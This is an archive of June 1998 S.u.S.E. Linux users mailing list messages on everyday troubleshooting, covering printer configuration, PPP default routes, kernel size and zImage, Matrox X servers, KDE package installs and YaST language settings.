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I just got through installing an HP laserjet (through YaST), but whenever I
print something, it prints two pages per sheet and in landscape mode! What am=
 I
doing wrong here?

Ken Hughes

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From kiril@u.washington.edu Fri Jun 12 20:37:10 1998
From: kiril@u.washington.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Printer problem
Date: Fri, 12 Jun 1998 13:37:10 -0700
Message-ID:
 
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Hi,

        I believe the SuSE support Data Base:
        http://www.suse.de/Support/sdb_=
e/index.html>

        responds to this question.  I believe that its set in the=20
        /etc/apsfilterrc.  But check out the link.

Cheers Kerry

       =20
On Fri, 12 Jun 1998, Ken Hughes wrote:

>=20
>=20
> I just got through installing an HP laserjet (through YaST), but whenever I
> print something, it prints two pages per sheet and in landscape mode! What =
am I
> doing wrong here?
>=20
> Ken Hughes
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From satan@nfinity.com Fri Jun 12 21:00:25 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Printer problem
Date: Fri, 12 Jun 1998 16:00:25 -0500
Message-ID: <358196E9.64224DE5@nfinity.com>
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you need to edit /etc/apsfilterrc to set up your preferences

Ken Hughes wrote:
>=20
> I just got through installing an HP laserjet (through YaST), but whenever I
> print something, it prints two pages per sheet and in landscape mode! What =
am I
> doing wrong here?
>=20
> Ken Hughes

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From martin_moeller@technologist.com Fri Jun 12 22:12:37 1998
From: martin_moeller@technologist.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Mirrormagic.
Date: Sat, 13 Jun 1998 00:12:37 +0200
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Hey!

 In regards to the upcoming 5.3 version, I just remembered that I have
never got MirrorMagic working under S.u.S.E. 5.2? I install it from YaST
at the initial installation, but when I a few reboots later want to use
it, I only get 'empty' levels, and the level-counter starts at 50??! It
seems the good folks at S.u.S.E. *can* run MirrorMagic (seen in their
commercials), so I wonder what my problem is...

If this is more than a simple problem, it should be thoroughly tested
for the 5.3 release, please. It's an awesome game!


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From satan@nfinity.com Fri Jun 12 23:09:37 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] p2 mboards
Date: Fri, 12 Jun 1998 18:09:37 -0500
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Review of std and o/c'ed performance for p2 bx mboards:

http:=
//www.anandtech.com/reviews/motherboards/bx_comparison/>

Granted, these are winstone benchmarks, but poor performance is poor
performance. I've been saving for an Abit BX6 + p2-400 this fall,  if
anyone else is in the market for a motherboard upgrade I hope this will
be useful to you.

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From khayes@flash.net Sat Jun 13 02:12:00 1998
From: khayes@flash.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] LS 120 drive
Date: Fri, 12 Jun 1998 19:12:00 -0700
Message-ID: <98061219151701.00208@dogwaffle>
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On Fri, 12 Jun 1998, Gary L. Vinyard wrote:
>Hi all:
>
>I'm just getting started with Linux; trying to get things to work together
>and figuring out what the capabilities are.  My question for today is
>whether there is a device driver for the Imation LS 120 floppy drives?=20
>(This is a nice little drive which reads both ordinary 3.5 disks as well
>as a 120 mb floppy of the physical same size.) =20

I think that the LS120's are ATAPI devices.  Make sure that you have
installed drivers for those.  There might be a HOWTO at the LDP.
Go to http://www.ssc.com/linux> and search around a little bit for a
reference to the Linux Documentation Project, then look for HOWTOs.  I
think I remember seeing one for ATAPI devices.  Mostly ATAPI devices are
CDROMs, so the docs might lean toward that.

Best,
Kyle

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From deem@wdm.com Sat Jun 13 06:09:59 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.3
Date: Fri, 12 Jun 1998 22:09:59 -0800
Message-ID: <199806130609.WAA00541@wdm.com>
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mj  wrote:


I don't think she/he was talking to you personally. I think it wa=
s 'thread

intensive' and was more or less cut and dried 'Don't worry about

fluff....just appreciate the good solid stuff that comes with the

dist'...in other words Enlightenment, WM, etc are nice to have but are

'cheese and crackers' etc and subsequently unworthy of discussion. 








Greetings,



Thanks and just to let you know ..."Dee" is my nickname, with William D. McKi=
nney III

being the birth name. No flame intended, just tired of the continuing  "wish =
it were better"

type talk. Probably my need to say "I apologise" and keep the ideas coming.


I know a few of the folks from conversations/e-mails and they are great help,=
 receptive,

very responsive and hard working. They do the best job they can keeping up wi=
th the changes

and keeping up with the life speed. Nice to let them know they are appreciate=
d.



Best Regards

-Dee









W.D.McKinney (Dee) -=3D- deem(a)wdm.com
No claim to fame, just saved by Grace.



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From deem@wdm.com Sat Jun 13 08:05:45 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] AMD K-6 and SuSE
Date: Sat, 13 Jun 1998 00:05:45 -0800
Message-ID: <199806130805.AAA03112@wdm.com>
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I ordered a K-6 300Mhz and I'd thought I'd ask
if anyone is running one under SuSE ?

Thanks
-Dee

W.D.McKinney (Dee) -=- deem(a)wdm.com
No claim to fame, just saved by Grace.

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From davidh@uq.net.au Sat Jun 13 10:37:13 1998
From: davidh@uq.net.au
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] AMD K-6 and SuSE
Date: Sat, 13 Jun 1998 20:37:13 +1000
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I'm running a 266 and its wonderful. pity the 300 came out the day after I go=
t t
he 266!.
/dlh.

On 13-Jun-98 W.D.McKinney wrote:
>=20
> I ordered a K-6 300Mhz and I'd thought I'd ask
> if anyone is running one under SuSE ?
>=20
> Thanks
> -Dee
>=20
>=20
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From mps@saargate.de Sat Jun 13 10:55:43 1998
From: mps@saargate.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Problems with installing KDE
Date: Sat, 13 Jun 1998 12:55:43 +0200
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Hi Folks !

I just downloaded a few versions of KDE Beta 4 stable. all as rpm - files.
(just to figure out, which are the best for my system)

i'm using suse 5.0.

ok, i tried to install the packages with 
but nothing worked !!!

by installing the kdebase he said, that i have to install the qt libs and
the kde libs first.
by installing this packages he said: error - unknown header.

do i something wrong ?
or are just the packages the wrong ones (i got them from the german suse
ftp-server).

thanx for your help and please excuse this bad english, i'm still learning
. . . 

bye, Michael 


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From mps@saargate.de Sat Jun 13 12:43:29 1998
From: mps@saargate.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] X and Mystique
Date: Sat, 13 Jun 1998 14:43:29 +0200
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Hi Folks !!!

I'm always used to have trouble with my matrox mystique . . .but now i
have trouble with it under linux. and now i'm getting angry.

how must xfree86 be configured, that it works with my fuckin mystique ?

Bye, JaZZer


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From thrawn@hub.org Sat Jun 13 13:49:44 1998
From: thrawn@hub.org
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] German?!?!
Date: Sat, 13 Jun 1998 09:49:44 -0400
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Ive installed SuSE 5.1 a bunch of times  now, and never had this problem.  Af=
ter the main install on this one machine, it came up with a german version of=
 YaST! though I know I chose english at the start of the install.... is there=
 an easy way to get some english going on here without re-installing the whol=
e thing?



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From mhtexcollins@ccms.net Sat Jun 13 14:00:00 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 09:00:00 -0500
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Thanks for explaining why the kernel comes from where it does.  I have been
trying to figure that one out.    When does it get compressed and called
zImage?

Thanks again..

Michael Clark wrote:

> Lawrence Sayre wrote:
>
> thing that I did on my first few attempts to manually compile my own
> kernels was trying to install the uncompressed kernel.  When I would
> compile the kernel, I would copy the kernel to /vmlinuz and run lilo.
>
> /usr/src/linux/vmlinuz about 870k, kernel too big
>
> /usr/src/linux/arch/i386/boot/zImage about 360k, works great!!  :-)
>
> It sounds like this may be the problem.  If not, maybe this will save
> someone else headaches.
>
> mc


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From jkrough@mindspring.com Sat Jun 13 14:31:45 1998
From: jkrough@mindspring.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] LS 120 drive
Date: Sat, 13 Jun 1998 09:31:45 -0500
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Gary L. Vinyard wrote:

> Hi all:
>
> I'm just getting started with Linux; trying to get things to work together
> and figuring out what the capabilities are.  My question for today is
> whether there is a device driver for the Imation LS 120 floppy drives?
> (This is a nice little drive which reads both ordinary 3.5 disks as well
> as a 120 mb floppy of the physical same size.)
>
> gv.
>
>

It is recognized as hd* and support is built into the kernel, at least 2.0.32
and later, in the block devices section, ide/atapi floppy support.

Jerome K.


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From cronan@idecnet.com Sat Jun 13 14:47:40 1998
From: cronan@idecnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X and Mystique
Date: Sat, 13 Jun 1998 14:47:40 +0000
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Hi!

Michael Schwindling escribió:

> Hi Folks !!!
>
> I'm always used to have trouble with my matrox mystique . . .but now i
> have trouble with it under linux. and now i'm getting angry.
>
> how must xfree86 be configured, that it works with my fuckin mystique ?
>

I also have a mystique and i configured with XF86setup without any probsthe
only thing is that you must have the XSVGA server installed

Saludos Göran

> Bye, JaZZer
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From schullersite@worldnet.att.net Sat Jun 13 16:22:01 1998
From: schullersite@worldnet.att.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] X and Mystique
Date: Sat, 13 Jun 1998 11:22:01 -0500
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> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Michael Schwindling
> Sent: Saturday, June 13, 1998 7:43 AM
> To: suse-linux-e(a)suse.com
> Subject: [S.u.S.E. Linux] X and Mystique
>
>
>
> Hi Folks !!!
>
>
> I'm always used to have trouble with my matrox mystique . . .but now i
> have trouble with it under linux. and now i'm getting angry.
>
> how must xfree86 be configured, that it works with my fuckin mystique ?
>
>
> Bye, JaZZer

Jazzer-

I use the Mystique 220 4MB myself.  Use the XFree86 "SVGA" server.  I think
the package name is "xsvga.rpm".  Install it by changing to the proper
directory on the SuSE CD, and then it's a simple "rpm -i xsvga.rpm".  Once
that's done, you can use YaST to set things up for your card.

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From roberto@cbvcp.com Sat Jun 13 16:39:54 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Problems with installing KDE
Date: Sat, 13 Jun 1998 09:39:54 -0700
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Did you download the rpm's from suse's ftp?  If not, then do so, because you
can install those through yast.

Michael Schwindling wrote:

> Hi Folks !
>
> I just downloaded a few versions of KDE Beta 4 stable. all as rpm - files.
> (just to figure out, which are the best for my system)
>
> i'm using suse 5.0.
>
> ok, i tried to install the packages with 
> but nothing worked !!!
>
> by installing the kdebase he said, that i have to install the qt libs and
> the kde libs first.
> by installing this packages he said: error - unknown header.
>
> do i something wrong ?
> or are just the packages the wrong ones (i got them from the german suse
> ftp-server).
>
> thanx for your help and please excuse this bad english, i'm still learning
> . . .
>
> bye, Michael
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From schullersite@worldnet.att.net Sat Jun 13 16:50:45 1998
From: schullersite@worldnet.att.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PPP Woes
Date: Sat, 13 Jun 1998 11:50:45 -0500
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Hoping there's a SuSE guru that can help me with what seems to be the most
common Linux configuration problem.

My ISP, AT&T Worldnet, uses MS-CHAP authentication for PPP connnections.  I
downloaded a utility called eznet (http://www.hwaci.com/sw/eznet/=
> ) that
takes care of my authentication for me and works wonderfully.

I can get connected to the Worldnet PPP server, and from what I can tell, I
am indeed getting an IP assigned.  However, I can't ping anything, not even
the two domain name servers specified in /etc/resolv.conf.

I copied the tail end of /var/log/message to a file on a shared partition.
The output looks like this:

------begin /var/log/message-------
Jun 13 10:35:14 geek login[131]: ROOT LOGIN on `tty1'
Jun 13 10:41:54 geek kernel: PPP: version 2.2.0 (dynamic channel allocation)
Jun 13 10:41:54 geek kernel: PPP Dynamic channel allocation code copyright
1995 Caldera, Inc.
Jun 13 10:41:54 geek kernel: PPP line discipline registered.
Jun 13 10:41:54 geek kernel: registered device ppp0
Jun 13 10:43:54 geek kernel: PPP: ppp line discipline successfully
unregistered
Jun 13 10:46:21 geek kernel: PPP: version 2.2.0 (dynamic channel allocation)
Jun 13 10:46:21 geek kernel: PPP Dynamic channel allocation code copyright
1995 Caldera, Inc.
Jun 13 10:46:21 geek kernel: PPP line discipline registered.
Jun 13 10:46:21 geek kernel: registered device ppp0
Jun 13 10:47:15 geek pppd[240]: pppd 2.2.0 started by root, uid 0
Jun 13 10:47:38 geek pppd[240]: Serial connection established.
Jun 13 10:47:39 geek pppd[240]: Using interface ppp0
Jun 13 10:47:39 geek pppd[240]: Connect: ppp0 <--> /dev/modem
Jun 13 10:47:41 geek pppd[240]: Remote message: Pass Authentication
Jun 13 10:47:42 geek pppd[240]: local  IP address 12.65.164.21
Jun 13 10:47:42 geek pppd[240]: remote IP address 12.65.164.1
Jun 13 10:47:42 geek pppd[240]: ppp not replacing existing default route to
sl0[127.0.0.2]
Jun 13 10:51:41 geek pppd[274]: pppd 2.2.0 started by root, uid 0
Jun 13 10:51:41 geek pppd[274]: Device modem is locked by pid 240
Jun 13 10:51:41 geek pppd[274]: Exit.
Jun 13 10:52:39 geek pppd[240]: No IP frames received within idle time limit
Jun 13 10:52:39 geek pppd[240]: Connection terminated.
Jun 13 10:52:39 geek pppd[240]: Exit.
Jun 13 10:54:20 geek kernel: PPP: ppp line discipline successfully
unregistered

-----end /var/log/message------------

This line tells me something isn't right, but I'm too "new" to Linux to tell
exactly what...  "Jun 13 10:47:42 geek pppd[240]: ppp not replacing existing
default route to sl0[127.0.0.2]"

I've checked /etc/resolv.conf, and it looks like:

-----begin /etc/resolv.conf------------

earch worldnet.att.net
nameserver 204.127.129.1
nameserver 204.127.160.1

-----end  /etc/resolv.conf-------------

Likewise, /etc/hosts looks like this:  (NOTE:  Could this be the problem?)

-----begin /etc/hosts-------------------

127.0.0.1     localhost

-----end /etc/hosts---------------------

Finally, the /etc/HOSTNAME file looks lke:

-----begin /etc/HOSTNAME------------

geek

-----end /etc/HOSTNAME--------------

That's the bulk of it- if there's a kind soul that wants to help me, I'd
appreciate it.  If I'm not providing enough info, or if different info is
needed, just let me know.

One final "How do I?" question if you'll indulge me:

Does Linux read the serial.rc file at boot time to assign IRQ's?  I have an
internal modem that "lives" on IRQ5.  If I were to edit serial.rc to reflect
that, will I be able to get out of doing a "setserial /dev/cua2 IRQ 5" every
time I reboot?

Thanks in advance for any assistance you can provide.

Ken

Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.


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From vhearn@wenet.net Sat Jun 13 17:36:40 1998
From: vhearn@wenet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPP Woes
Date: Sat, 13 Jun 1998 10:36:40 -0700
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nothing...i have no idea what all the sevrvernames are in PPPsetup...give a
cluw(2nd rqst)
ie there are some obscure server requested names
in ppp
i have no idea
goto....ppp window in yast and see them...when you set up PPP

i dunno...

Kenneth W. Schuller wrote:

> Hoping there's a SuSE guru that can help me with what seems to be the most
> common Linux configuration problem.
>
> My ISP, AT&T Worldnet, uses MS-CHAP authentication for PPP connnections.  I
> downloaded a utility called eznet (http://www.hwaci.com/sw/ezne=
t/> ) that
> takes care of my authentication for me and works wonderfully.
>
> I can get connected to the Worldnet PPP server, and from what I can tell, I
> am indeed getting an IP assigned.  However, I can't ping anything, not even
> the two domain name servers specified in /etc/resolv.conf.
>
> I copied the tail end of /var/log/message to a file on a shared partition.
> The output looks like this:
>
> ------begin /var/log/message-------
> Jun 13 10:35:14 geek login[131]: ROOT LOGIN on `tty1'
> Jun 13 10:41:54 geek kernel: PPP: version 2.2.0 (dynamic channel allocation)
> Jun 13 10:41:54 geek kernel: PPP Dynamic channel allocation code copyright
> 1995 Caldera, Inc.
> Jun 13 10:41:54 geek kernel: PPP line discipline registered.
> Jun 13 10:41:54 geek kernel: registered device ppp0
> Jun 13 10:43:54 geek kernel: PPP: ppp line discipline successfully
> unregistered
> Jun 13 10:46:21 geek kernel: PPP: version 2.2.0 (dynamic channel allocation)
> Jun 13 10:46:21 geek kernel: PPP Dynamic channel allocation code copyright
> 1995 Caldera, Inc.
> Jun 13 10:46:21 geek kernel: PPP line discipline registered.
> Jun 13 10:46:21 geek kernel: registered device ppp0
> Jun 13 10:47:15 geek pppd[240]: pppd 2.2.0 started by root, uid 0
> Jun 13 10:47:38 geek pppd[240]: Serial connection established.
> Jun 13 10:47:39 geek pppd[240]: Using interface ppp0
> Jun 13 10:47:39 geek pppd[240]: Connect: ppp0 <--> /dev/modem
> Jun 13 10:47:41 geek pppd[240]: Remote message: Pass Authentication
> Jun 13 10:47:42 geek pppd[240]: local  IP address 12.65.164.21
> Jun 13 10:47:42 geek pppd[240]: remote IP address 12.65.164.1
> Jun 13 10:47:42 geek pppd[240]: ppp not replacing existing default route to
> sl0[127.0.0.2]
> Jun 13 10:51:41 geek pppd[274]: pppd 2.2.0 started by root, uid 0
> Jun 13 10:51:41 geek pppd[274]: Device modem is locked by pid 240
> Jun 13 10:51:41 geek pppd[274]: Exit.
> Jun 13 10:52:39 geek pppd[240]: No IP frames received within idle time limit
> Jun 13 10:52:39 geek pppd[240]: Connection terminated.
> Jun 13 10:52:39 geek pppd[240]: Exit.
> Jun 13 10:54:20 geek kernel: PPP: ppp line discipline successfully
> unregistered
>
> -----end /var/log/message------------
>
> This line tells me something isn't right, but I'm too "new" to Linux to tell
> exactly what...  "Jun 13 10:47:42 geek pppd[240]: ppp not replacing existing
> default route to sl0[127.0.0.2]"
>
> I've checked /etc/resolv.conf, and it looks like:
>
> -----begin /etc/resolv.conf------------
>
> search worldnet.att.net
> nameserver 204.127.129.1
> nameserver 204.127.160.1
>
> -----end  /etc/resolv.conf-------------
>
> Likewise, /etc/hosts looks like this:  (NOTE:  Could this be the problem?)
>
> -----begin /etc/hosts-------------------
>
> 127.0.0.1     localhost
>
> -----end /etc/hosts---------------------
>
> Finally, the /etc/HOSTNAME file looks lke:
>
> -----begin /etc/HOSTNAME------------
>
> geek
>
> -----end /etc/HOSTNAME--------------
>
> That's the bulk of it- if there's a kind soul that wants to help me, I'd
> appreciate it.  If I'm not providing enough info, or if different info is
> needed, just let me know.
>
> One final "How do I?" question if you'll indulge me:
>
> Does Linux read the serial.rc file at boot time to assign IRQ's?  I have an
> internal modem that "lives" on IRQ5.  If I were to edit serial.rc to reflect
> that, will I be able to get out of doing a "setserial /dev/cua2 IRQ 5" every
> time I reboot?
>
> Thanks in advance for any assistance you can provide.
>
> Ken
>
> Ken Schuller
> Network Systems Specialist
> NovaNET Learning, Inc.
>
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From lsayre@integrityonline13.com Sat Jun 13 19:20:35 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 14:20:35 -0500
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I used xconfig to make a new kernel, and at the end of 'make zImage' I
got 2 errors, basically saying that the kernel (system?) was too big (it
is slightly over 1 meg).

I can't understand this, since I cut nearly everything to the quick.  My
stand-alone system has no networking, etc..

How did my kernel get this large?

I tried installing it anyway, and 'lilo' kicked out saying that the
kernel (system) is too big, so back to the old kernel, which was the
default kernel from my install (which is about 1/2 meg).

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From satan@nfinity.com Sat Jun 13 19:44:40 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 14:44:40 -0500
Message-ID: <3582D6A8.CDAEC7A3@nfinity.com>
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SuSE kernel's are fat, there isn't much need for most people to run a
500k kernel.  They do this to provide support for many common devices,
sort of a lowest commom denominator de facto kernel.  My kernels are
350k and I'm not sacrificing any functionality.  If you are getting 1mb
kernels you have to be choosing support for a lot of devices you
probably don't need. Also try using functions that you need but rarely
use as modules instead of compiled directly into the kernel (parallel
printer, floppy support, iso9660 fs support, dos fs support if you dual
boot, sound).

Lawrence Sayre wrote:
> 
> I used xconfig to make a new kernel, and at the end of 'make zImage' I
> got 2 errors, basically saying that the kernel (system?) was too big (it
> is slightly over 1 meg).
> 
> I can't understand this, since I cut nearly everything to the quick.  My
> stand-alone system has no networking, etc..
> 
> How did my kernel get this large?
> 
> I tried installing it anyway, and 'lilo' kicked out saying that the
> kernel (system) is too big, so back to the old kernel, which was the
> default kernel from my install (which is about 1/2 meg).
>

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From mwagnon@ixpres.com Sat Jun 13 20:09:51 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] German?!?!
Date: Sat, 13 Jun 1998 13:09:51 -0700
Message-ID: <3582DC8F.EF1EC5C0@ixpres.com>
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Thrawn wrote:
>=20
> Ive installed SuSE 5.1 a bunch of times  now, and never had this problem.  =
After the main install on this one machine, it came up with a german version =
of YaST! though I know I chose english at the start of the install.... is the=
re an easy way to get some english going on here without re-installing the wh=
ole thing?
>=20
>   ------------------------------------------------------------------------
>=20
>                      Name: winmail.dat
>    winmail.dat       Type: application/ms-tnef
>                  Encoding: base64

I not sure if this will help, but there  appears to be a language
selection option under yast. I'm assuming that the order of the actions
under yast are the same regardless of language. So here goes...

1. Start yast
2. Select the section menu item, which in english is Adjustments of
   Installation.
3. Select the first option under the next menu which in English is
Select
    Language.
4. Choose English and Exit back out of Yast.

Luck,

Mark

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From punt@mci2000.com Sat Jun 13 20:16:46 1998
From: punt@mci2000.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPP Woes
Date: Sat, 13 Jun 1998 16:16:46 -0400
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Its his default route!!!!!  He must all ready have one and the PPP
connection isn't overwriting it.  It says so in hit "tail message".

>> Jun 13 10:47:42 geek pppd[240]: ppp not replacing existing default route
to


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From hettar@teleport.com Sat Jun 13 21:38:55 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AMD K-6 and SuSE
Date: Sat, 13 Jun 1998 14:38:55 -0700
Message-ID: <3582F16F.FA72A161@teleport.com>
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W.D.McKinney wrote:

> I ordered a K-6 300Mhz and I'd thought I'd ask
> if anyone is running one under SuSE ?
>
> Thanks
> -Dee

  Hia Dee,

I have been running a K6-233 for about a year now with SuSE
Its great, no problems.

I am going to buy a K6-300-2(3DNOW) in a week or so, I am sure
it will run fine.

Steve


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From hettar@teleport.com Sat Jun 13 21:57:32 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] No ./core dump for debugging (pls help)
Date: Sat, 13 Jun 1998 14:57:32 -0700
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Hello SuSE,

I am kinda new to this so bear with me, hey have to start somewhere.

I am trying to debug a X wm,  I need to get a ./core file dump of
a certain wm when killing (or was killed) while in a wm.
I useually use Xnest332 ;) so I can stay alive on my screen,
but anyways no matter.

The thing is that I need to run somthing like this:

gdb blackbox ./core
bt
and then save whats there into a file format,
provided it gives filenames and line numbers

I have done su-c (root) set : ulimit -c unlimited
and ulimit -c does show unlimited from a 0 before
setting.. This should let ./core files be generated..

But if I type on console: gdb blackbox ./core
it tells me no such file or directory (everytime)

I would like to know why this is not working.
I would like to know how to fix it, even if you
send me off to read a manual page ;) Or maybe
SuSE dumps ./core into a different file name?
Well, maybe not as an: ulimit -c, at a boot up
time shows my limit to be back down at 0, and
I need to have unlimited there. Also I'd like
to have ./core dumps from any user not just root.
as I debug while on IRC to chat with the writter
of the wm ;)

Steve Udell
Xnest ROCKS ;)
hettar(a)teleport.com


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From rr44607@swt.edu Sat Jun 13 22:06:40 1998
From: rr44607@swt.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 17:06:40 -0500
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Are you using the kernel created in /usr/src/linux/arch/i386/boot? I've
never seen one over 500M or so.

Hope that helps.
Robb

> Lawrence Sayre wrote:
> >
> > I used xconfig to make a new kernel, and at the end of 'make zImage' I
> > got 2 errors, basically saying that the kernel (system?) was too big (it
> > is slightly over 1 meg).
> >
> > I can't understand this, since I cut nearly everything to the quick.  My
> > stand-alone system has no networking, etc..
> >
> > How did my kernel get this large?
> >
> > I tried installing it anyway, and 'lilo' kicked out saying that the
> > kernel (system) is too big, so back to the old kernel, which was the
> > default kernel from my install (which is about 1/2 meg).


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From mclark@datsrvr.datsit.com Sat Jun 13 22:15:04 1998
From: mclark@datsrvr.datsit.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 16:15:04 -0600
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Lawrence Sayre wrote:

> I used xconfig to make a new kernel, and at the end of 'make zImage' I
> got 2 errors, basically saying that the kernel (system?) was too big (it
> is slightly over 1 meg).
>
> I can't understand this, since I cut nearly everything to the quick.  My
> stand-alone system has no networking, etc..
>
> How did my kernel get this large?
>
> I tried installing it anyway, and 'lilo' kicked out saying that the
> kernel (system) is too big, so back to the old kernel, which was the
> default kernel from my install (which is about 1/2 meg).
>
> -----------------------------------------------
> Man's mind is his basic tool of survival!
>
> Lawrence Sayre 
> -----------------------------------------------
>
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Something that I did on my first few attempts to manually compile my own
kernels was trying to install the uncompressed kernel.  When I would
compile the kernel, I would copy the kernel to /vmlinuz and run lilo.

/usr/src/linux/vmlinuz about 870k, kernel too big

/usr/src/linux/arch/i386/boot/zImage about 360k, works great!!  :-)

It sounds like this may be the problem.  If not, maybe this will save
someone else headaches.

mc


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From fm@lightlink.com Sat Jun 13 22:23:39 1998
From: fm@lightlink.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 18:23:39 -0400
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Karl Eichwalder wrote:
> 
> Steven Udell  writes:
> 
> |   So does SuSE have a wish list, to like make comments on what they
> |   should have on a up-and-comming distro of thiers? if so where do I
> |   find it?

I'd like better Matrox drivers.  The Mill. II drivers are fine for text,
menus and such, but photos are grainy.  Apparently the driver isn't able
to provide the color depth needed.

Fred


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From satan@nfinity.com Sat Jun 13 22:29:21 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No ./core dump for debugging (pls help)
Date: Sat, 13 Jun 1998 17:29:21 -0500
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SuSE sets the variables regarding core files in /etc/profile.

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From satan@nfinity.com Sat Jun 13 22:47:47 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 17:47:47 -0500
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He isn't getting that far.  His kernel is larger than zImage will
tolerate.  I know people that use bzImage because they have strenuous
driver needs, but there is no reason for Joe Linux User on a single user
box running a 2.0.x kernel to be as large as he is getting.

Robb wrote:
> 
> Are you using the kernel created in /usr/src/linux/arch/i386/boot? I've
> never seen one over 500M or so.
> 
> Hope that helps.
> Robb
> 
> > Lawrence Sayre wrote:
> > >
> > > I used xconfig to make a new kernel, and at the end of 'make zImage' I
> > > got 2 errors, basically saying that the kernel (system?) was too big (it
> > > is slightly over 1 meg).

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From satan@nfinity.com Sat Jun 13 23:12:40 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: wish list (Re: [S.u.S.E. Linux] SuSE 5.3)
Date: Sat, 13 Jun 1998 18:12:40 -0500
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Are you using the xsvga or xmatrox server?

Fred A. Miller wrote:
> 
> Karl Eichwalder wrote:
> >
> > Steven Udell  writes:
> >
> > |   So does SuSE have a wish list, to like make comments on what they
> > |   should have on a up-and-comming distro of thiers? if so where do I
> > |   find it?
> 
> I'd like better Matrox drivers.  The Mill. II drivers are fine for text,
> menus and such, but photos are grainy.  Apparently the driver isn't able
> to provide the color depth needed.
> 
> Fred
>

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From mwagnon@ixpres.com Sat Jun 13 23:26:47 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] German?!?!
Date: Sat, 13 Jun 1998 16:26:47 -0700
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Mark Wagnon wrote:

> 2. Select the section menu item, which in english is Adjustments of
>    Installation.

oops!  "section" should read "second". Sorry ;-P

> 3. Select the first option under the next menu which in English is
> Select
>     Language.
> 4. Choose English and Exit back out of Yast.
> 
> Luck,
> 
> Mark
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From punt@mci2000.com Sat Jun 13 23:30:19 1998
From: punt@mci2000.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] KDM and Xacellarator X server
Date: Sat, 13 Jun 1998 19:30:19 -0400
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Does anyone know why when using Xig X-accelerated X servers KDM/XDM wont
start the xserver?  Any idea where to look?

Punt


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From schullersite@worldnet.att.net Sat Jun 13 23:42:27 1998
From: schullersite@worldnet.att.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] PPP Woes
Date: Sat, 13 Jun 1998 18:42:27 -0500
Message-ID: <000001bd9724$ec7131a0$97a5410c@schuller>
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I noticed that as well-  the question is why, and what's the workaround-
i.e. which config files need to be changed to push everything out over the
PPP connect?

Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.

> -----Original Message-----
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> Behalf Of Punt
> Sent: Saturday, June 13, 1998 3:17 PM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] PPP Woes
>
>
>
> Its his default route!!!!!  He must all ready have one and the PPP
> connection isn't overwriting it.  It says so in hit "tail message".
>
> >> Jun 13 10:47:42 geek pppd[240]: ppp not replacing existing
> default route
> to
>
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From kimon@wtco.net Sat Jun 13 23:59:31 1998
From: kimon@wtco.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSe 5.2 says new kernel is too big?
Date: Sat, 13 Jun 1998 18:59:31 -0500
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I had the same experience. You would not happen to be trying to use the file
/usr/src/linux/vmlinux ? After compile the actual kernel resides under
/usr/src/linux/arch/i386/boot/. I am assuming an x86 machine. Try the file
zImage, it should be a better size.

On Sat, 13 Jun 1998, you wrote:
>I used xconfig to make a new kernel, and at the end of 'make zImage' I
>got 2 errors, basically saying that the kernel (system?) was too big (it
>is slightly over 1 meg).
>
>I can't understand this, since I cut nearly everything to the quick.  My
>stand-alone system has no networking, etc..
>
>How did my kernel get this large?
>
>I tried installing it anyway, and 'lilo' kicked out saying that the
>kernel (system) is too big, so back to the old kernel, which was the
>default kernel from my install (which is about 1/2 meg).
